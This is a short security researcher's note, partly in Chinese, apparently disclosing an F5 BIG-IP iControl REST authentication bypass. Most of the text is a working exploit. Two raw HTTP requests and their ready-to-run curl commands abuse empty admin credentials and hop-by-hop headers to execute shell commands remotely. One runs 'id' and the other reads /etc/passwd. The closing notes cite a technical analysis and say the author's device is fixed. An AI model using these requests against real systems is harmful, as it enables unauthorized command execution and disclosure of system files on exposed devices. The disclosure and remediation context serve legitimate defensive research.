POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c 'id' " }
curl 命令行:
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }
curl 命令行:
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
注意:
问题可能与前后端认证 "Jetty" 使用空凭据 "admin: <empty>" 有关
+ 请求头的值,参见 "HTTP hop_by_hop request headers"...
我的 BIG-IP 现已修复:

参考与修复:
这里是最新笔记中使用的文档:
HTTP hop_by_hop 请求头:
F5 iControl REST 端点认证绕过技术深度剖析 by horizon3
我的笔记:
Payload1: icontrol_api_endpoints.txt
Payload2: icontrol_api_commands.txt
Alex Hernandez 又名 (@_alt3kx_)